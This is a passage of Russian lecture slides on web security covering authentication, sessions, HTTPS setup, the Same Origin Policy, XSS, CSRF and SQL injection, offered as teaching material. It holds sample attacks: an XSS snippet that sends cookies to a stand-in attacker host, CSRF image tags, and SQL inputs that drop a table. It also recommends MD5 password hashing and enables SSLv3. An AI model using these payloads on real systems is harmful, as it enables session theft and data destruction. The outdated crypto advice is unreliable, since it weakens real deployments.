SlideShare a Scribd company logo
1 of 37
Security! Security!
Смаль Дмитрий
smal@corp.mail.ru
Терминология
Аутентификация – процедура проверки подлинности.
Варианты: логин/пароль, одноразовые пароли, токены,
открытые ключи, биометрия и т.д.
Авторизация – предоставление субъекту прав на
выполнение определенных действий.
Варианты: HTTP запрос по определенному URL,
изменение объекта, чтение/запись/запуск файла.
Кодирование – преобразование данных с целью
передачи по определенному каналу связи.
Шифрование – преобразование данных с целью сокрытия
информации от третьего лица.
HTTP Авторизация
1) Сервер
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm=”admin”
2) Браузер
показывает диалог ввода логина/пароля
3) Браузер
Authorization: Basic dXNlcjpwYXNzCg==
4) Сервер
Проверяет логин/пароль
HTTP/1.1 200 OK
HTTP/1.1 403 Access Denied
HTTP Авториазация
В CGI скрипте – переменная REMOTE_USER
Нет операции “логаута”
Достоинства и недостатки
Настройка HTTP авторизации
Location / { # nginx
auth_basic "closed site";
auth_basic_user_file conf/myhtpasswd;
}
<Location /secure> # Apache
AuthType basic
AuthName "private area"
AuthBasicProvider dbm
AuthDBMType SDBM
AuthDBMUserFile /www/etc/dbmpasswd
Require valid-user
</Location>
location / {
satisfy any;
allow 192.168.1.0/24;
allow 2001:0db8::/32;
deny all;
auth_basic "closed site";
auth_basic_user_file conf/myhtpasswd;
}
htpasswd – файл с паролями (зашифрованый)
htpasswd -m ./myhtpasswd user pass – добавить
Htpasswd -D ./myhtpasswd user – удалить
Cookies
1) Установка:
Set-Cookie: name=value; Path=/page; Domain=mail.ru;
Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure;
HttpOnly
Secure – только по HTTPS (доступны через JS)
HttpOnly – только по HTTP (не доступны через JS)
2) Получение:
Cookie: name1=value1; name2=value2
3) В JavaScript
document.cookie = 'name=value; . . .';
var cookie = document.cookie;
Профили и сессии
Профиль – информация о пользователе
- id
- login
- пароль
- email, имя пользователя, пол и т.п.
Сессия – информация о подключении
- ключ сессии (то что в Cookie)
- данные сессии (id пользователя, корзина..)
- ip-адрес, дата создания сессии
Сессии устаревают и удаляются, профили – нет.
Сессия – в быстром хранилище, Memcached
Как хранить и передавать пароли?
1) Не храните пароль в чистом виде. MD5.
2) Не храните MD5 в чистом виде. Соль.
3) Не используйте слово “Соль” в кач-ве соли.
4) Не передавайте пароли в GET запросах.
5) Не выводите пароли в логах сервера.
6) Не выводите пароли на WWW страницу.
И вообще... очищайте память
Сценарий регистрации
1) /register_form → показываем форму
регистрации (возможно генерируем CAPTCHA)
2) Пользователь заполняет форму, делает POST
3) /register → регистрация пользователя
- проверить входные данные
- проверить правильность captcha
- вычислить md5(пароль + соль)
- добавить запись в таблицу Users
- создать сессию (user_id = new_user.id)
- установить куку (session=new_session.key)
Сценарий аутентификации
1) /login_form → показываем форму логина
2) Пользователь заполняет форму, делает POST
3) /login → аутентификация пользователя
- загрузить пользователя из Users по login
- вычислить md5(пароль + соль)
- сравнить с тем, что хранится в БД
- нет пользователя или md5 не совпал → отказ
- создать сессию (user_id = user.id)
- установить куку (session=new_session.key)
- удалить старые сессии
Теперь у пользователя есть ключ, а у нас сессия
Сценарий авторизации
1) /any → пользователь делает любой запрос,
браузер передает Cookie: session=asHnjs732j...
2) Нет куки → /login_form (302 redirect)
3) Загружаем из Sessions данные сессии по
session
4) Нет сессии или устарела → /login_form
5) Обновляем дату использования сессии
6) Загружаем из Users информаци о пользователе
по session.user_id
Теперь у нас есть объекты session и user!
Сценарий восстановления пароля
1) /restore_form → пользователь указывает
email или login с которым он регистрировался
2) /send_restore → высылаем письмо
- создаем Ticket (key, user_id, дата)
- высылаем письмо с ticket.key на указанный
email
3) Пользователь открывает письмо и переходит
по ссылке
4) /restore/?key=shdf32ndfsdjf2434n →
пользователь вводит новый пароль
Тут мы уверены, что пользователь обладает
email'ом, т.к. key угадать трудно
Авторизация и кэш
Set-Cookie и кеширование (proxy) не совместимы.
/page/ – страница в кеше, в ней есть SSI:
<!--# include virtual=”/auth/” -->
/auth/ - легкая страница не кешируется:
<!--# set var=”Email” value=”me@mail.ru” -->
<!--# set var=”Name” value=”Pupkin” -->
<script>
document.cookie='session=dsfskjdfwen32323rds';
</script>
Немного о криптографии
Симметричное шифрование
1) Алиса и Боб обладают общим секретным ключом
(K)
2) Алиса шифрует текст(Т) с помощью К, получает
шифрограмму(Ш)
3) Алиса передает шифрограмму(Ш) по незащищенному
каналу связи (TCP например)
4) Боб получает шифрограмму(Ш)
5) Боб расшифровывает ее с помощью ключа(К) и
получает исходный текст
Плюсы: Быстро!
Минусы: Нужен общий ключ.
Примеры: AES, DES, Blowfish, ГОСТ 28147-89
Ассиметричное шифрование
Используется пара связанных ключей:
Открытый(public) – для шифрования
Закрытый(private) – для дешифрования
1) Алиса, используя открытый ключ Боба,
создает шифрограмму и передает ее.
2) Боб, используя закрытый ключ, дешифрует ее
и получает исходный текст.
Плюсы: открытый ключ
Минусы: скорость
Примеры: RSA, DSA, Elgamal
Fingerprint и сертификат
fingerprint – хэш функция от публичного ключа
68:a6:77:eb:18:8f:b1:34:fe:81:f6:33:c3:02:31:93
Цифровой сертификат – цифровой документ,
подтверждающий принадлежность владельцу
публичного ключа (на некоторое время)
Каждый сертификат связан с центром сертификации,
который его изготовил и подписал.
Сертификационные центры образуют иерархию.
Корневые центры известны априори.
SSL – Secure Socket Layer
SSL работает поверх TCP и обеспечивает
установление безопасного соединения между
клиентом и сервером
Свойства:
- аутентификация сервера
- опциональная аутентификация клиента
- шифрование канала передачи
- целосность сообщений (защита от изменений)
- поддерживает различные алгоритмы
шифрования и обмена ключами
HTTPS – это HTTP поверх SSL (порт 443)
Настройка HTTPS
server {
listen 443;
keepalive_timeout 70;
ssl on;
ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers AES128-SHA:AES256-SHA;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/cert.key;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
...
}
Same Origin Policy
Цель: исключить нежелательное взаимодействие
между сторонними сайтами.
Сторонние сайты – сайты на разных DNS доменах.
Общий принцип:
- данные установленные в одном домене будут
видны только в нем
- браузер запрещает вызывать JS методы
объектов из другого домена
- браузер запрещает кросдоменные запросы
SOP и Cookie
- У каждой cookie есть домен
- По умолчанию – это домен сайта,
установившего куку
- Можно указать домен на 1 уровень короче
текущего, например Domain=.mail.ru
- При всех запросах к домену site.group.com
браузер отправляет куки только для домена
site.group.com и .group.com
- JavaScript, выполняющийся на странице
site.group.com имеет доступ к тем же кукам
(за исключением HttpOnly)
SOP и DOM
- Странички (окна) могут ссылаться друг на
друга (window.open, window.opener, etc..)
- Если у 2 страниц совпадают протокол, хост
и порт (кроме IE) – эти страницы могут
взаимодействовать через JS
window.opener.body.innerHTML = 'Hello!'
- Если 2 страницы в смежных доменах
(a.group.com и b.group.com) понизили домен
до group.com – они могут взаимодействовать
window.domain = 'group.com'; //обе страницы
Window.opener.someFunction('data');
SOP и AJAX
Все просто: у вас не получится сделать AJAX
запрос на другой домен.
Альтернатива: JSONP
Запрос:
<scrtipt src=”http://alien.com/getdata?
id=1&callback=gotData”></script>
Ответ:
gotData({ 'object' : { . . . } });
SOP и Flash
- В отличие от JS, Flash ориентируется не домен
сайта, а на домен с которого был загружен
flash-объект
- Для того что бы полчить доступ к данным
домена документа Flash загружает специальный
файл – crossdomain.xml
<cross-domain-policy>
<allow-access-from domain="*.mail.ru" to-ports="*"/>
<allow-http-request-headers-from domain="*.mail.ru"
headers="*"/>
<site-control permitted-cross-domain-policies="all"/>
</cross-domain-policy>
XSS – Сross Site Scripting
Безобидная шалость:
<script>
alert(1);
</script>
Кража сессии (и как следсвтие авторизации):
<script>
var s = document.createElement('script');
s.src = 'http://hackers.com/gotIt/?cookie'
+ encodeURIComponent(document.cookie);
document.body.appendChild(s);
</script>
XSS – Сross Site Scripting
Как внедрить:
- тэг <script>
- возможно, нужно разорвать верстку '”/>
- использовать протокол javascript:
Как бороться:
- экранированить выводимые данные, {{ var }}
- экранировать входные данные
- очищать входные данные (тэги и атрибуты)
- Использовать BBCodes [b] [i] [a] [img=...]
CSRF – Cross Site Resource Forgery
Причина: браузер разрешает кросс-доменные GET
Размещаем на любом посещаемом сайте (blog.com):
<img src=”http://victim.com/post?
message=wanna+kill+all+humans” />
<img src=”http://victim.com/logout” />
В результате все посетители blog.com, которые
авторизованы на victim.com совершат действия,
о которых даже не будут знать.
victim.com и blog.com могут быть одним сайтом!
CSRF – Cross Site Resource Forgery
Как бороться:
- проверять метод запроса (только POST)
- проверять Referer (не надежно)
- использовать csrf_token
1) создаем длинный, новый для каждого
пользователя/запроса ключ (токен)
2) устанавливаем этот ключ в Cookie
3) добавляем этот ключ к каждой форме
на сайте victim.com
4) запросы с blog.com не будут содержать
этот скрытый токен
SQL инъекции
SQL инъекции
SQL инъекции
Пример:
id = request.REQUEST['id']
sql = 'select * from P where id = ' + id
Передаем id = 3; drop table users; и …
n = request.REQUEST['name']
sql = “select * from U where name = '%s'” % n
Передаем n = bla'; drop table users; и …
SQL инъекции
Как бороться:
- использовать placeholders
sql = 'select * from U where id = ?'
- использовать квотирование
id = quote_sql(id)
sql = 'select * from U where id = ' + id
- использовать ORM
SQL сервера имеют свою защиту:
- запрещают несколько запросов в одном пакете
Fishing

More Related Content

What's hot

Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.7bits
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Andrew Mayorov
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложенияMaxim Krentovskiy
 
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...KazHackStan
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтовEugene Fidelin
 
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....KazHackStan
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийSQALab
 
Как переехать с http на https: пошаговая инструкция
Как переехать с http на https: пошаговая инструкцияКак переехать с http на https: пошаговая инструкция
Как переехать с http на https: пошаговая инструкция1PS.RU
 
Шамбулов У. К. (Казахстан), ГТС. Анализ и исследование инцидентов информацион...
Шамбулов У. К. (Казахстан), ГТС. Анализ и исследование инцидентов информацион...Шамбулов У. К. (Казахстан), ГТС. Анализ и исследование инцидентов информацион...
Шамбулов У. К. (Казахстан), ГТС. Анализ и исследование инцидентов информацион...KazHackStan
 
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotemТатьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotemKazHackStan
 
Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)
Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)
Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)Positive Hack Days
 
Mihail davidov js-ajax
Mihail davidov js-ajaxMihail davidov js-ajax
Mihail davidov js-ajaxYandex
 
Михаил Давыдов — Транспорт, Ajax
Михаил Давыдов — Транспорт, AjaxМихаил Давыдов — Транспорт, Ajax
Михаил Давыдов — Транспорт, AjaxYandex
 

What's hot (20)

Major mistakes in site moving
Major mistakes in site movingMajor mistakes in site moving
Major mistakes in site moving
 
KazHackStan 2017 | Tracking
KazHackStan 2017 | TrackingKazHackStan 2017 | Tracking
KazHackStan 2017 | Tracking
 
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
Onliner PHP Meetup
Onliner PHP MeetupOnliner PHP Meetup
Onliner PHP Meetup
 
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтов
 
Authentication security
Authentication securityAuthentication security
Authentication security
 
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
 
Drupal Paranoia
Drupal ParanoiaDrupal Paranoia
Drupal Paranoia
 
Drupal Paranoia
Drupal ParanoiaDrupal Paranoia
Drupal Paranoia
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложений
 
Js fuckworks
Js fuckworksJs fuckworks
Js fuckworks
 
Как переехать с http на https: пошаговая инструкция
Как переехать с http на https: пошаговая инструкцияКак переехать с http на https: пошаговая инструкция
Как переехать с http на https: пошаговая инструкция
 
Шамбулов У. К. (Казахстан), ГТС. Анализ и исследование инцидентов информацион...
Шамбулов У. К. (Казахстан), ГТС. Анализ и исследование инцидентов информацион...Шамбулов У. К. (Казахстан), ГТС. Анализ и исследование инцидентов информацион...
Шамбулов У. К. (Казахстан), ГТС. Анализ и исследование инцидентов информацион...
 
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotemТатьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
 
Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)
Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)
Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)
 
Mihail davidov js-ajax
Mihail davidov js-ajaxMihail davidov js-ajax
Mihail davidov js-ajax
 
Михаил Давыдов — Транспорт, Ajax
Михаил Давыдов — Транспорт, AjaxМихаил Давыдов — Транспорт, Ajax
Михаил Давыдов — Транспорт, Ajax
 

Viewers also liked

СУБД осень 2012 лекция 7
СУБД осень 2012 лекция 7СУБД осень 2012 лекция 7
СУБД осень 2012 лекция 7Technopark
 
Java осень 2013 лекция 7
Java осень 2013 лекция 7Java осень 2013 лекция 7
Java осень 2013 лекция 7Technopark
 
Разработка веб-сервисов осень 2013 лекция 11
Разработка веб-сервисов осень 2013 лекция 11Разработка веб-сервисов осень 2013 лекция 11
Разработка веб-сервисов осень 2013 лекция 11Technopark
 
Web весна 2012 лекция 4
Web весна 2012 лекция 4Web весна 2012 лекция 4
Web весна 2012 лекция 4Technopark
 
Алгоритмы и структуры данных весна 2014 лекция 1
Алгоритмы и структуры данных весна 2014 лекция 1Алгоритмы и структуры данных весна 2014 лекция 1
Алгоритмы и структуры данных весна 2014 лекция 1Technopark
 
Безопасность интернет-приложений осень 2013 лекция 9
Безопасность интернет-приложений осень 2013 лекция 9Безопасность интернет-приложений осень 2013 лекция 9
Безопасность интернет-приложений осень 2013 лекция 9Technopark
 
Highload осень 2012 лекция 9
Highload осень 2012 лекция 9Highload осень 2012 лекция 9
Highload осень 2012 лекция 9Technopark
 
Проектирование графических интерфейсов лекция 9
Проектирование графических интерфейсов лекция 9Проектирование графических интерфейсов лекция 9
Проектирование графических интерфейсов лекция 9Technopark
 
Frontend весна 2014 лекция 1
Frontend весна 2014 лекция 1Frontend весна 2014 лекция 1
Frontend весна 2014 лекция 1Technopark
 
Web осень 2012 лекция 4
Web осень 2012 лекция 4Web осень 2012 лекция 4
Web осень 2012 лекция 4Technopark
 
Android осень 2013 лекция 4
Android осень 2013 лекция 4Android осень 2013 лекция 4
Android осень 2013 лекция 4Technopark
 
Android осень 2013 лекция 2
Android осень 2013 лекция 2Android осень 2013 лекция 2
Android осень 2013 лекция 2Technopark
 
Проектирование графических интерфейсов лекция 6 - часть 2
Проектирование графических интерфейсов лекция 6 - часть 2Проектирование графических интерфейсов лекция 6 - часть 2
Проектирование графических интерфейсов лекция 6 - часть 2Technopark
 
Highload осень 2012 лекция 2
Highload осень 2012 лекция 2Highload осень 2012 лекция 2
Highload осень 2012 лекция 2Technopark
 
углубленное программирование на C++. лекция no.5 [4.0]
углубленное программирование на C++. лекция no.5 [4.0]углубленное программирование на C++. лекция no.5 [4.0]
углубленное программирование на C++. лекция no.5 [4.0]Technopark
 
C++ осень 2013 лекция 9
C++ осень 2013 лекция 9C++ осень 2013 лекция 9
C++ осень 2013 лекция 9Technopark
 
C++ весна 2014 лекция 2
C++ весна 2014 лекция 2C++ весна 2014 лекция 2
C++ весна 2014 лекция 2Technopark
 
Бизнес весна 2014 лекция 5
Бизнес весна 2014 лекция 5Бизнес весна 2014 лекция 5
Бизнес весна 2014 лекция 5Technopark
 
Web весна 2013 лекция 4
Web весна 2013 лекция 4Web весна 2013 лекция 4
Web весна 2013 лекция 4Technopark
 

Viewers also liked (19)

СУБД осень 2012 лекция 7
СУБД осень 2012 лекция 7СУБД осень 2012 лекция 7
СУБД осень 2012 лекция 7
 
Java осень 2013 лекция 7
Java осень 2013 лекция 7Java осень 2013 лекция 7
Java осень 2013 лекция 7
 
Разработка веб-сервисов осень 2013 лекция 11
Разработка веб-сервисов осень 2013 лекция 11Разработка веб-сервисов осень 2013 лекция 11
Разработка веб-сервисов осень 2013 лекция 11
 
Web весна 2012 лекция 4
Web весна 2012 лекция 4Web весна 2012 лекция 4
Web весна 2012 лекция 4
 
Алгоритмы и структуры данных весна 2014 лекция 1
Алгоритмы и структуры данных весна 2014 лекция 1Алгоритмы и структуры данных весна 2014 лекция 1
Алгоритмы и структуры данных весна 2014 лекция 1
 
Безопасность интернет-приложений осень 2013 лекция 9
Безопасность интернет-приложений осень 2013 лекция 9Безопасность интернет-приложений осень 2013 лекция 9
Безопасность интернет-приложений осень 2013 лекция 9
 
Highload осень 2012 лекция 9
Highload осень 2012 лекция 9Highload осень 2012 лекция 9
Highload осень 2012 лекция 9
 
Проектирование графических интерфейсов лекция 9
Проектирование графических интерфейсов лекция 9Проектирование графических интерфейсов лекция 9
Проектирование графических интерфейсов лекция 9
 
Frontend весна 2014 лекция 1
Frontend весна 2014 лекция 1Frontend весна 2014 лекция 1
Frontend весна 2014 лекция 1
 
Web осень 2012 лекция 4
Web осень 2012 лекция 4Web осень 2012 лекция 4
Web осень 2012 лекция 4
 
Android осень 2013 лекция 4
Android осень 2013 лекция 4Android осень 2013 лекция 4
Android осень 2013 лекция 4
 
Android осень 2013 лекция 2
Android осень 2013 лекция 2Android осень 2013 лекция 2
Android осень 2013 лекция 2
 
Проектирование графических интерфейсов лекция 6 - часть 2
Проектирование графических интерфейсов лекция 6 - часть 2Проектирование графических интерфейсов лекция 6 - часть 2
Проектирование графических интерфейсов лекция 6 - часть 2
 
Highload осень 2012 лекция 2
Highload осень 2012 лекция 2Highload осень 2012 лекция 2
Highload осень 2012 лекция 2
 
углубленное программирование на C++. лекция no.5 [4.0]
углубленное программирование на C++. лекция no.5 [4.0]углубленное программирование на C++. лекция no.5 [4.0]
углубленное программирование на C++. лекция no.5 [4.0]
 
C++ осень 2013 лекция 9
C++ осень 2013 лекция 9C++ осень 2013 лекция 9
C++ осень 2013 лекция 9
 
C++ весна 2014 лекция 2
C++ весна 2014 лекция 2C++ весна 2014 лекция 2
C++ весна 2014 лекция 2
 
Бизнес весна 2014 лекция 5
Бизнес весна 2014 лекция 5Бизнес весна 2014 лекция 5
Бизнес весна 2014 лекция 5
 
Web весна 2013 лекция 4
Web весна 2013 лекция 4Web весна 2013 лекция 4
Web весна 2013 лекция 4
 

Similar to Web весна 2012 лекция 11

Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. ОсновыPositive Hack Days
 
Практическое применение HTML5 в Я.Почте
Практическое применение HTML5 в Я.ПочтеПрактическое применение HTML5 в Я.Почте
Практическое применение HTML5 в Я.ПочтеAlexey Androsov
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionAndrew Petukhov
 
Пластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать житьПластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать житьMoscow.pm
 
Безопасность интернет-приложений осень 2013 лекция 5
Безопасность интернет-приложений осень 2013 лекция 5Безопасность интернет-приложений осень 2013 лекция 5
Безопасность интернет-приложений осень 2013 лекция 5Technopark
 
Вячеслав Бирюков - HTTP и HTTPS
Вячеслав Бирюков - HTTP и HTTPSВячеслав Бирюков - HTTP и HTTPS
Вячеслав Бирюков - HTTP и HTTPSYandex
 
2013 09 14 http-протокол
2013 09 14 http-протокол2013 09 14 http-протокол
2013 09 14 http-протоколYandex
 
Nginx Igor Sysoev
Nginx   Igor SysoevNginx   Igor Sysoev
Nginx Igor SysoevMedia Gorod
 
Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3Technopark
 
Web осень 2013 лекция 3
Web осень 2013 лекция 3Web осень 2013 лекция 3
Web осень 2013 лекция 3Technopark
 
Кулинарный мастер-класс "Готовим безопасный офис нового поколения на основе C...
Кулинарный мастер-класс "Готовим безопасный офис нового поколения на основе C...Кулинарный мастер-класс "Готовим безопасный офис нового поколения на основе C...
Кулинарный мастер-класс "Готовим безопасный офис нового поколения на основе C...Cisco Russia
 
Svyatoslav Login "How to test authentication and authorization for security"
Svyatoslav Login "How to test authentication and authorization for security"Svyatoslav Login "How to test authentication and authorization for security"
Svyatoslav Login "How to test authentication and authorization for security"Fwdays
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3Technopark
 
Node.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчикаNode.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчикаAlexei Smolyanov
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волковkarina krew
 
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Ontico
 

Similar to Web весна 2012 лекция 11 (20)

Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
 
Практическое применение HTML5 в Я.Почте
Практическое применение HTML5 в Я.ПочтеПрактическое применение HTML5 в Я.Почте
Практическое применение HTML5 в Я.Почте
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
Пластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать житьПластилиновый код: как перестать кодить и начать жить
Пластилиновый код: как перестать кодить и начать жить
 
Безопасность интернет-приложений осень 2013 лекция 5
Безопасность интернет-приложений осень 2013 лекция 5Безопасность интернет-приложений осень 2013 лекция 5
Безопасность интернет-приложений осень 2013 лекция 5
 
Вячеслав Бирюков - HTTP и HTTPS
Вячеслав Бирюков - HTTP и HTTPSВячеслав Бирюков - HTTP и HTTPS
Вячеслав Бирюков - HTTP и HTTPS
 
2013 09 14 http-протокол
2013 09 14 http-протокол2013 09 14 http-протокол
2013 09 14 http-протокол
 
Periculum est in mora
Periculum est in moraPericulum est in mora
Periculum est in mora
 
Nginx Igor Sysoev
Nginx   Igor SysoevNginx   Igor Sysoev
Nginx Igor Sysoev
 
Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3
 
Web осень 2013 лекция 3
Web осень 2013 лекция 3Web осень 2013 лекция 3
Web осень 2013 лекция 3
 
Кулинарный мастер-класс "Готовим безопасный офис нового поколения на основе C...
Кулинарный мастер-класс "Готовим безопасный офис нового поколения на основе C...Кулинарный мастер-класс "Готовим безопасный офис нового поколения на основе C...
Кулинарный мастер-класс "Готовим безопасный офис нового поколения на основе C...
 
Sphinx
SphinxSphinx
Sphinx
 
Svyatoslav Login "How to test authentication and authorization for security"
Svyatoslav Login "How to test authentication and authorization for security"Svyatoslav Login "How to test authentication and authorization for security"
Svyatoslav Login "How to test authentication and authorization for security"
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3
 
Node.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчикаNode.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчика
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
 

More from Technopark

Лекция 11. Вычислительная модель Pregel
Лекция 11. Вычислительная модель PregelЛекция 11. Вычислительная модель Pregel
Лекция 11. Вычислительная модель PregelTechnopark
 
Лекция 14. Hadoop в Поиске Mail.Ru
Лекция 14. Hadoop в Поиске Mail.RuЛекция 14. Hadoop в Поиске Mail.Ru
Лекция 14. Hadoop в Поиске Mail.RuTechnopark
 
Лекция 13. YARN
Лекция 13. YARNЛекция 13. YARN
Лекция 13. YARNTechnopark
 
Лекция 12. Spark
Лекция 12. SparkЛекция 12. Spark
Лекция 12. SparkTechnopark
 
Лекция 10. Apache Mahout
Лекция 10. Apache MahoutЛекция 10. Apache Mahout
Лекция 10. Apache MahoutTechnopark
 
Лекция 9. ZooKeeper
Лекция 9. ZooKeeperЛекция 9. ZooKeeper
Лекция 9. ZooKeeperTechnopark
 
Лекция 7. Введение в Pig и Hive
Лекция 7. Введение в Pig и HiveЛекция 7. Введение в Pig и Hive
Лекция 7. Введение в Pig и HiveTechnopark
 
Лекция 6. MapReduce в Hadoop (графы)
Лекция 6. MapReduce в Hadoop (графы)Лекция 6. MapReduce в Hadoop (графы)
Лекция 6. MapReduce в Hadoop (графы)Technopark
 
Лекция 5. MapReduce в Hadoop (алгоритмы)
Лекция 5. MapReduce в Hadoop (алгоритмы)Лекция 5. MapReduce в Hadoop (алгоритмы)
Лекция 5. MapReduce в Hadoop (алгоритмы)Technopark
 
Лекция 4. MapReduce в Hadoop (введение)
Лекция 4. MapReduce в Hadoop (введение)Лекция 4. MapReduce в Hadoop (введение)
Лекция 4. MapReduce в Hadoop (введение)Technopark
 
Лекция 3. Распределённая файловая система HDFS
Лекция 3. Распределённая файловая система HDFSЛекция 3. Распределённая файловая система HDFS
